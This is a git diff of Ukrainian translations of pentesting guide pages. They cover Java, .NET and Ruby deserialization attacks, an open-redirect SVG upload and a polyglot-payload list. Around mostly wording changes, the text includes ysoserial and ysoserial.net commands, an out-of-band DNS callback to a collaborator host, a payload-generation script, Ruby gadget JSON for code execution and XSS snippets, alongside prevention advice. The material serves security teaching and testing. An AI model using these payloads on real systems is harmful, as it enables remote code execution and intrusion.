- Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку повинно спонукати до перевірки, як детально описано в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Перевірте, чи є вразливість
|
||||
### Перевірте, чи вразливий
|
||||
|
||||
Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією Java DNS**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією DNS Java**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Тестування в білому ящику
|
||||
|
||||
@ -359,9 +359,9 @@ grep -R InvokeTransformer .
|
||||
```
|
||||
Ви можете спробувати **перевірити всі бібліотеки**, які відомі як вразливі і для яких [**Ysoserial**](https://github.com/frohoff/ysoserial) може надати експлойт. Або ви можете перевірити бібліотеки, вказані на [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\
|
||||
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
|
||||
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він генерує, і дайте йому закінчити. Він запише всі знахідки в _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
|
||||
|
||||
#### Чорна скринька
|
||||
#### Тест чорного ящика
|
||||
|
||||
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете визначити **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
|
||||
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
@ -371,13 +371,13 @@ GadgetProbe зосереджений на **`ObjectInputStream` десеріал
|
||||
[**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях.
|
||||
|
||||
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявить **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
|
||||
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявляє **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він намагатиметься підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
|
||||
[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Тест на серіалізацію**
|
||||
**Тест серіалізації**
|
||||
|
||||
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати собі адміністративні привілеї в веб-додатку).\
|
||||
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, який надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
|
||||
Якщо ви знайдете серіалізований об'єкт Java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
|
||||
|
||||
### **Експлойт**
|
||||
|
||||
@ -385,7 +385,7 @@ Java Deserialization Scanner зосереджений на **`ObjectInputStream`
|
||||
|
||||
Основний інструмент для експлуатації десеріалізацій Java - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з конвеєрами).\
|
||||
Зверніть увагу, що цей інструмент **зосереджений** на експлуатації **`ObjectInputStream`**.\
|
||||
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload працює.
|
||||
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload може працювати.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -432,7 +432,7 @@ base64 -w0 payload
|
||||
```
|
||||
Коли ви створюєте payload для **java.lang.Runtime.exec()**, ви **не можете використовувати спеціальні символи** такі як ">" або "|" для перенаправлення виходу виконання, "$()" для виконання команд або навіть **передавати аргументи** команді, розділені **пробілами** (ви можете зробити `echo -n "hello world"`, але не можете зробити `python2 -c 'print "Hello world"'`). Щоб правильно закодувати payload, ви можете [використати цю веб-сторінку](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Не соромтеся використовувати наступний скрипт для створення **всіх можливих payload для виконання коду** для Windows і Linux, а потім протестуйте їх на вразливій веб-сторінці:
|
||||
Не соромтеся використовувати наступний скрипт для створення **всіх можливих payload** для виконання коду на Windows і Linux, а потім протестуйте їх на вразливій веб-сторінці:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -459,9 +459,9 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)може бути використаний для генерації payload'ів для експлуатації різних **Json** та **Yml** бібліотек серіалізації в Java.\
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)може бути використаний для генерації пейлоадів для експлуатації різних **Json** та **Yml** бібліотек серіалізації в Java.\
|
||||
Щоб скомпілювати проект, мені потрібно було **додати** ці **залежності** до `pom.xml`:
|
||||
```markup
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
<artifactId>activation</artifactId>
|
||||
@ -486,17 +486,17 @@ mvn clean package -DskipTests
|
||||
|
||||
### Labs
|
||||
|
||||
- Якщо ви хочете протестувати деякі ysoserial payloads, ви можете **запустити цей веб-додаток**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- Якщо ви хочете протестувати деякі payloads ysoserial, ви можете **запустити цей веб-додаток**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
|
||||
Java використовує багато серіалізації для різних цілей, таких як:
|
||||
|
||||
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, куками тощо.
|
||||
- **RMI (Віддалений виклик методів)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
|
||||
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, cookies тощо.
|
||||
- **RMI (Remote Method Invocation)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
|
||||
- **RMI через HTTP**: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій.
|
||||
- **JMX (Розширення управління Java)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
|
||||
- **JMX (Java Management Extensions)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
|
||||
- **Користувацькі протоколи**: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації.
|
||||
|
||||
### Prevention
|
||||
@ -520,12 +520,12 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
```
|
||||
#### **Покращення безпеки десеріалізації в Java**
|
||||
|
||||
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення процесів десеріалізації. Цей метод підходить, коли:
|
||||
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли:
|
||||
|
||||
- Код десеріалізації знаходиться під вашим контролем.
|
||||
- Відомі класи, які очікуються для десеріалізації.
|
||||
|
||||
Перевизначте **`resolveClass()`** метод, щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом `Bicycle`:
|
||||
Перевизначте метод **`resolveClass()`**, щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -571,7 +571,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені можливості для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
|
||||
|
||||
- **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
|
||||
- **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий контент.
|
||||
- **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст.
|
||||
- **Kryo** є альтернативною рамкою серіалізації, яка акцентує увагу на швидкості та ефективності, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку.
|
||||
|
||||
### Посилання
|
||||
@ -585,12 +585,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Стаття про десеріалізацію Java та .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Десеріалізація Java та .Net JSON **стаття:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA & LDAP та як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці:
|
||||
Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA та LDAP і як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> API **Java Message Service** (**JMS**) є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> **Java Message Service** (**JMS**) API є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Продукти
|
||||
|
||||
@ -613,7 +613,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
|
||||
Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, заразяться**.
|
||||
|
||||
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує введення користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
|
||||
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
|
||||
|
||||
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатку.
|
||||
|
||||
@ -635,7 +635,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Слід зосередитися на серіалізаторах, які дозволяють визначити тип за змінною під контролем користувача.
|
||||
Слід зосередитися на серіалізаторах, які дозволяють визначати тип за змінною під контролем користувача.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
@ -647,18 +647,18 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
Якщо ви хочете дізнатися, **як ysoserial.net створює свій експлойт**, ви можете [**перевірити цю сторінку, де пояснюється гаджет ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
|
||||
Основні опції **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
|
||||
|
||||
- **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
|
||||
- **`--formatter`**, використовується для вказівки методу для серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
|
||||
- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що це завжди буде працювати)._
|
||||
- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
|
||||
- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState.
|
||||
|
||||
#### Більше параметрів ysoserial.net
|
||||
|
||||
- `--minify` надасть **менше корисне навантаження** (якщо це можливо)
|
||||
- `--raf -f Json.Net -c "anything"` Це вказуватиме всі гаджети, які можна використовувати з наданим форматором (`Json.Net` у цьому випадку)
|
||||
- `--sf xml` ви можете **вказати гаджет** (`-g`) і ysoserial.net буде шукати формати, що містять "xml" (незалежно від регістру)
|
||||
- `--sf xml` ви можете **вказати гаджет** (`-g`), і ysoserial.net шукатиме формати, що містять "xml" (без урахування регістру)
|
||||
|
||||
**Приклади ysoserial** для створення експлойтів:
|
||||
```bash
|
||||
@ -720,15 +720,15 @@ return obj;
|
||||
- **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
|
||||
- **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
|
||||
- **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
|
||||
- **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
|
||||
- **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` і `JSON.Net`.
|
||||
- **Будьте обережні з типами, що мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
|
||||
- **Безпечно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
|
||||
- **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
|
||||
- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
|
||||
- **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
|
||||
|
||||
### **References**
|
||||
|
||||
- Папір про десеріалізацію JSON в Java і .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Папір про десеріалізацію JSON в Java та .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
@ -737,7 +737,7 @@ return obj;
|
||||
|
||||
У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація.
|
||||
|
||||
Для забезпечення безпеки серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність і автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
|
||||
Для захисту серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність та автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -848,25 +848,25 @@ candidate_methods = repo_methods.select() do |method_name|
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Забруднення класу Ruby
|
||||
### Ruby class pollution
|
||||
|
||||
Перевірте, як це може бути можливим [забруднити клас Ruby та зловживати ним тут](ruby-class-pollution.md).
|
||||
|
||||
### Забруднення Ruby _json
|
||||
### Ruby _json pollution
|
||||
|
||||
Коли в тілі надсилаються деякі значення, які не є хешованими, такі як масив, вони будуть додані в новий ключ під назвою `_json`. Однак, зловмисник також може встановити в тілі значення під назвою `_json` з довільними значеннями, які він бажає. Тоді, якщо бекенд, наприклад, перевіряє достовірність параметра, але потім також використовує параметр `_json` для виконання якоїсь дії, може бути здійснено обхід авторизації.
|
||||
|
||||
Перевірте більше інформації на [сторінці забруднення Ruby _json](ruby-_json-pollution.md).
|
||||
Перевірте більше інформації на [сторінці Ruby _json pollution](ruby-_json-pollution.md).
|
||||
|
||||
### Інші бібліотеки
|
||||
|
||||
Цю техніку було взято [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Ця техніка була взята [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Бібліотека</strong></td><td><strong>Вхідні дані</strong></td><td><strong>Метод запуску всередині класу</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Бінарний</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([дивіться примітки щодо json_create в кінці](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Основний приклад:
|
||||
Basic example:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
@ -900,7 +900,7 @@ Oj.load(json_payload)
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на зразок:
|
||||
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на кшталт:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
|
@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect завантаження svg файлів
|
||||
```markup
|
||||
```html
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<svg
|
||||
|
@ -8,7 +8,7 @@
|
||||
> Ця **таблиця не пропонує вичерпний список тестів для кожної вразливості**, лише деякі базові. Якщо ви шукаєте більш вичерпні тести, зверніться до кожної запропонованої вразливості.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ви **не знайдете ін'єкцій, що залежать від Content-Type, таких як XXE**, оскільки зазвичай ви спробуєте їх самостійно, якщо знайдете запит, що надсилає xml-дані. Ви **також не знайдете ін'єкцій бази даних** тут, оскільки навіть якщо деякий контент може бути відображений, це сильно залежить від технології та структури бекендної бази даних.
|
||||
> Ви **не знайдете ін'єкцій, що залежать від Content-Type, таких як XXE**, оскільки зазвичай ви спробуєте їх самостійно, якщо знайдете запит, що надсилає xml-дані. Ви **також не знайдете ін'єкцій у базу даних** тут, оскільки навіть якщо деякий контент може бути відображений, це сильно залежить від технології та структури бекендної бази даних.
|
||||
|
||||
## Polygloths list
|
||||
```python
|
||||
@ -63,7 +63,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
```
|
||||
## [Command Injection](../command-injection.md)
|
||||
|
||||
### Основні тести
|
||||
### Основні Тести
|
